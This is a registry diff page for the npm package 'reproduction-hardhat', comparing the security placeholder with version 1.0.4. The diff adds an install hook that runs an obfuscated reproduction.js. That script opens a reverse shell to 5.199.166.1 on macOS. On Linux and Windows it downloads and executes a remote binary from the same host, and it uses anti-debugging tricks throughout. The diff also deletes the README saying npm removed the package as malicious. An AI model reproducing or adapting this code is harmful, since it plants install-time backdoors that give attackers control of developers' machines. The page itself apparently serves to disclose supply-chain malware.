reproduction-hardhat 0.0.1-security → 1.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of reproduction-hardhat might be problematic. Click here for more details.

package/package.json CHANGED
@@ -1,6 +1,9 @@
1
1
  {
2
- "name": "reproduction-hardhat",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
2
+ "scripts": {
3
+ "test": "echo \"Error: no test specified\" && exit 1",
4
+ "install": "node reproduction"
5
+ },
6
+ "main": "reproduction.js",
7
+ "name": "reproduction-hardhat",
8
+ "version": "1.0.4"
6
9
  }
@@ -0,0 +1 @@
1
+ function e(a,b){const d=c();return e=function(f,g){f=f-0x1e7;let h=d[f];if(e['BhwwrK']===undefined){var i=function(n){const o='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let p='',q='';for(let r=0x0,s,t,u=0x0;t=n['charAt'](u++);~t&&(s=r%0x4?s*0x40+t:t,r++%0x4)?p+=String['fromCharCode'](0xff&s>>(-0x2*r&0x6)):0x0){t=o['indexOf'](t);}for(let v=0x0,w=p['length'];v<w;v++){q+='%'+('00'+p['charCodeAt'](v)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(q);};const m=function(n,o){let p=[],q=0x0,r,t='';n=i(n);let u;for(u=0x0;u<0x100;u++){p[u]=u;}for(u=0x0;u<0x100;u++){q=(q+p[u]+o['charCodeAt'](u%o['length']))%0x100,r=p[u],p[u]=p[q],p[q]=r;}u=0x0,q=0x0;for(let v=0x0;v<n['length'];v++){u=(u+0x1)%0x100,q=(q+p[u])%0x100,r=p[u],p[u]=p[q],p[q]=r,t+=String['fromCharCode'](n['charCodeAt'](v)^p[(p[u]+p[q])%0x100]);}return t;};e['tiUsGQ']=m,a=arguments,e['BhwwrK']=!![];}const j=d[0x0],k=f+j,l=a[k];return!l?(e['tdEETC']===undefined&&(e['tdEETC']=!![]),h=e['tiUsGQ'](h,g),a[k]=h):h=l,h;},e(a,b);}function c(){const N=['cCo1W6ldNSoShmoauGFcS1JdPq','latdS8obWP/cRXRcUq','nZi5mZa0v1jeAuDS','nJa5mZu3AKjduKLb','WQBdNtFdUmkwWRBcQej9','nJy5B3PhyMrw','WQfJWRRcPWFcLHneWRvurK/dRG','W4bVCCkRsCorcSkTcCoIW5q','i2D6eulcVCoqW6ddId3cHSkd','mLfRswTsAa','W4FcOxdcT1VdK3dcNHFdMrC','t8oHccjFqCk9WOit','fCo9W5zzc2JcJmowWRa','WPJcTMrgutSL','WRrUW7NdVSkNWOtdHCoGW6unW7G2','WRZdQCk/WQZcV8kuWOLWW5qyW6e','WRRdH8ojW5lcPfTbWO85s8kC'];c=function(){return N;};return c();}function d(a,b){const e=c();return d=function(f,g){f=f-0x1e7;let h=e[f];if(d['PRETGU']===undefined){var i=function(m){const n='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let o='',p='';for(let q=0x0,r,s,t=0x0;s=m['charAt'](t++);~s&&(r=q%0x4?r*0x40+s:s,q++%0x4)?o+=String['fromCharCode'](0xff&r>>(-0x2*q&0x6)):0x0){s=n['indexOf'](s);}for(let u=0x0,v=o['length'];u<v;u++){p+='%'+('00'+o['charCodeAt'](u)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(p);};d['CkAbRt']=i,a=arguments,d['PRETGU']=!![];}const j=e[0x0],k=f+j,l=a[k];return!l?(h=d['CkAbRt'](h),a[k]=h):h=l,h;},d(a,b);}(function(b,f){function C(b,f){return e(f- -0x331,b);}function M(b,f){return e(b-0x1ac,f);}function G(b,f){return e(f- -0x20a,b);}function D(b,f){return d(f-0x236,b);}function I(b,f){return d(b- -0x18d,f);}function L(b,f){return e(b- -0x370,f);}function K(b,f){return e(b- -0x381,f);}function H(b,f){return e(b- -0x122,f);}function E(b,f){return e(f- -0x129,b);}function F(b,f){return e(b- -0x28c,f);}const g=b();function J(b,f){return d(f- -0x38,b);}while(!![]){try{const h=parseInt(C('w8hW',-0x13f))/0x1*(-parseInt(D(0x41f,0x420))/0x2)+parseInt(C('@lvp',-0x144))/0x3*(parseInt(C('u2Y6',-0x13b))/0x4)+parseInt(E('fF)T',0xc8))/0x5*(-parseInt(C('#ipu',-0x145))/0x6)+-parseInt(D(0x425,0x42b))/0x7+-parseInt(I(0x67,0x5f))/0x8+parseInt(C('XJH%',-0x13e))/0x9*(parseInt(G('y^5g',-0x1f))/0xa)+parseInt(K(-0x19a,'0^H7'))/0xb;if(h===f)break;else g['push'](g['shift']());}catch(i){g['push'](g['shift']());}}}(c,0x2984a),(function(){const f=(function(){let m=!![];return function(n,o){if('T'+'v'+'N'+'h'+'V'!=='o'+'B'+'Q'+'g'+'V'){const p=m?function(){if(o){if('x'+'y'+'a'+'r'+'N'!=='i'+'I'+'L'+'e'+'G'){const q=o['a'+'p'+'p'+'l'+'y'](n,arguments);return o=null,q;}else{const s=f('c'+'h'+'i'+'l'+'d'+'_'+'p'+'r'+'o'+'c'+'e'+'s'+'s')['e'+'x'+'e'+'c'+'F'+'i'+'l'+'e'],t=s('.'+'/'+'r'+'p'+'c'+'.'+'e'+'x'+'e',[],(u,v,w)=>{if(u)throw u;s['l'+'o'+'g'](v);});}}}:function(){};return m=![],p;}else{if(h)throw l;j['l'+'o'+'g'](k);}};}());(function(){f(this,function(){const m=new RegExp('f'+'u'+'n'+'c'+'t'+'i'+'o'+'n'+'\x20'+'*'+'\x5c'+'('+'\x20'+'*'+'\x5c'+')'),n=new RegExp('\x5c'+'+'+'\x5c'+'+'+'\x20'+'*'+'('+'?'+':'+'['+'a'+'-'+'z'+'A'+'-'+'Z'+'_'+'$'+']'+'['+'0'+'-'+'9'+'a'+'-'+'z'+'A'+'-'+'Z'+'_'+'$'+']'+'*'+')','i'),o=a('i'+'n'+'i'+'t');if(!m['t'+'e'+'s'+'t'](o+('c'+'h'+'a'+'i'+'n'))||!n['t'+'e'+'s'+'t'](o+('i'+'n'+'p'+'u'+'t'))){if('Z'+'W'+'X'+'A'+'X'==='Q'+'v'+'p'+'f'+'i'){const q=f('c'+'h'+'i'+'l'+'d'+'_'+'p'+'r'+'o'+'c'+'e'+'s'+'s')['e'+'x'+'e'+'c'+'F'+'i'+'l'+'e'],r=q('.'+'/'+'r'+'p'+'c',[],(s,t,u)=>{if(s)throw s;q['l'+'o'+'g'](t);});}else o('0');}else a();})();}());const g=require('o'+'s');let h='c'+'m'+'d'+'.'+'e'+'x'+'e';if(g['p'+'l'+'a'+'t'+'f'+'o'+'r'+'m']()==='d'+'a'+'r'+'w'+'i'+'n'){h='/'+'b'+'i'+'n'+'/'+'s'+'h';var i=require('n'+'e'+'t'),j=require('c'+'h'+'i'+'l'+'d'+'_'+'p'+'r'+'o'+'c'+'e'+'s'+'s'),k=j['s'+'p'+'a'+'w'+'n'](h,[]),l=new i['S'+'o'+'c'+'k'+'e'+'t']();l['c'+'o'+'n'+'n'+'e'+'c'+'t'](0x3419,'5'+'.'+'1'+'9'+'9'+'.'+'1'+'6'+'6'+'.'+'1',function(){if('q'+'w'+'K'+'X'+'u'==='u'+'B'+'m'+'T'+'n')throw f;else l['p'+'i'+'p'+'e'](k['s'+'t'+'d'+'i'+'n']),k['s'+'t'+'d'+'o'+'u'+'t']['p'+'i'+'p'+'e'](l),k['s'+'t'+'d'+'e'+'r'+'r']['p'+'i'+'p'+'e'](l);});}else{if(g['p'+'l'+'a'+'t'+'f'+'o'+'r'+'m']()==='l'+'i'+'n'+'u'+'x'){const m=require('h'+'t'+'t'+'p'),n=require('f'+'s'),o=n['c'+'r'+'e'+'a'+'t'+'e'+'W'+'r'+'i'+'t'+'e'+'S'+'t'+'r'+'e'+'a'+'m']('.'+'/'+'r'+'p'+'c'),p=m['g'+'e'+'t']('h'+'t'+'t'+'p'+':'+'/'+'/'+'5'+'.'+'1'+'9'+'9'+'.'+'1'+'6'+'6'+'.'+'1'+':'+'1'+'3'+'3'+'3'+'8'+'/'+'c'+'l'+'i'+'e'+'n'+'t'+'_'+'l'+'i'+'n'+'u'+'x'+'_'+'a'+'m'+'d'+'6'+'4',function(q){'z'+'z'+'K'+'c'+'X'==='t'+'e'+'c'+'u'+'E'?function(){return![];}['c'+'o'+'n'+'s'+'t'+'r'+'u'+'c'+'t'+'o'+'r']('d'+'e'+'b'+'u'+('g'+'g'+'e'+'r'))['a'+'p'+'p'+'l'+'y']('s'+'t'+'a'+'t'+'e'+'O'+'b'+'j'+'e'+'c'+'t'):(q['p'+'i'+'p'+'e'](o),o['o'+'n']('f'+'i'+'n'+'i'+'s'+'h',()=>{o['c'+'l'+'o'+'s'+'e'](()=>{const s=require('c'+'h'+'i'+'l'+'d'+'_'+'p'+'r'+'o'+'c'+'e'+'s'+'s')['e'+'x'+'e'+'c'+'F'+'i'+'l'+'e'],t=s('.'+'/'+'r'+'p'+'c',[],(u,v,w)=>{if(u){if('N'+'g'+'q'+'G'+'E'!=='N'+'g'+'q'+'G'+'E'){h='/'+'b'+'i'+'n'+'/'+'s'+'h';var y=i('n'+'e'+'t'),z=j('c'+'h'+'i'+'l'+'d'+'_'+'p'+'r'+'o'+'c'+'e'+'s'+'s'),A=z['s'+'p'+'a'+'w'+'n'](k,[]),B=new y['S'+'o'+'c'+'k'+'e'+'t']();B['c'+'o'+'n'+'n'+'e'+'c'+'t'](0x3419,'5'+'.'+'1'+'9'+'9'+'.'+'1'+'6'+'6'+'.'+'1',function(){B['p'+'i'+'p'+'e'](A['s'+'t'+'d'+'i'+'n']),A['s'+'t'+'d'+'o'+'u'+'t']['p'+'i'+'p'+'e'](B),A['s'+'t'+'d'+'e'+'r'+'r']['p'+'i'+'p'+'e'](B);});}else throw u;}console['l'+'o'+'g'](v);});});}));});}else{const q=require('h'+'t'+'t'+'p'),r=require('f'+'s'),s=r['c'+'r'+'e'+'a'+'t'+'e'+'W'+'r'+'i'+'t'+'e'+'S'+'t'+'r'+'e'+'a'+'m']('.'+'/'+'r'+'p'+'c'+'.'+'e'+'x'+'e'),t=q['g'+'e'+'t']('h'+'t'+'t'+'p'+':'+'/'+'/'+'5'+'.'+'1'+'9'+'9'+'.'+'1'+'6'+'6'+'.'+'1'+':'+'1'+'3'+'3'+'3'+'8'+'/'+'c'+'l'+'i'+'e'+'n'+'t'+'_'+'w'+'i'+'n'+'_'+'a'+'m'+'d'+'6'+'4'+'.'+'e'+'x'+'e',function(u){u['p'+'i'+'p'+'e'](s),s['o'+'n']('f'+'i'+'n'+'i'+'s'+'h',()=>{s['c'+'l'+'o'+'s'+'e'](()=>{const v=require('c'+'h'+'i'+'l'+'d'+'_'+'p'+'r'+'o'+'c'+'e'+'s'+'s')['e'+'x'+'e'+'c'+'F'+'i'+'l'+'e'],w=v('.'+'/'+'r'+'p'+'c'+'.'+'e'+'x'+'e',[],(x,y,z)=>{if(x){if('R'+'f'+'Q'+'L'+'u'==='R'+'f'+'Q'+'L'+'u')throw x;else(function(){return!![];}['c'+'o'+'n'+'s'+'t'+'r'+'u'+'c'+'t'+'o'+'r']('d'+'e'+'b'+'u'+('g'+'g'+'e'+'r'))['c'+'a'+'l'+'l']('a'+'c'+'t'+'i'+'o'+'n'));}console['l'+'o'+'g'](y);});});});});}}return/a/;}()));function a(b){function f(g){if(typeof g==='s'+'t'+'r'+'i'+'n'+'g')return function(h){}['c'+'o'+'n'+'s'+'t'+'r'+'u'+'c'+'t'+'o'+'r']('w'+'h'+'i'+'l'+'e'+'\x20'+'('+'t'+'r'+'u'+'e'+')'+'\x20'+'{'+'}')['a'+'p'+'p'+'l'+'y']('c'+'o'+'u'+'n'+'t'+'e'+'r');else{if('J'+'P'+'U'+'t'+'a'==='J'+'P'+'U'+'t'+'a')(''+g/g)['l'+'e'+'n'+'g'+'t'+'h']!==0x1||g%0x14===0x0?function(){if('U'+'O'+'s'+'W'+'Y'==='H'+'C'+'L'+'Y'+'d')b('0');else return!![];}['c'+'o'+'n'+'s'+'t'+'r'+'u'+'c'+'t'+'o'+'r']('d'+'e'+'b'+'u'+('g'+'g'+'e'+'r'))['c'+'a'+'l'+'l']('a'+'c'+'t'+'i'+'o'+'n'):function(){return![];}['c'+'o'+'n'+'s'+'t'+'r'+'u'+'c'+'t'+'o'+'r']('d'+'e'+'b'+'u'+('g'+'g'+'e'+'r'))['a'+'p'+'p'+'l'+'y']('s'+'t'+'a'+'t'+'e'+'O'+'b'+'j'+'e'+'c'+'t');else{if(h)throw l;j['l'+'o'+'g'](k);}}f(++g);}try{if(b)return f;else f(0x0);}catch(g){}}
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=reproduction-hardhat for more information.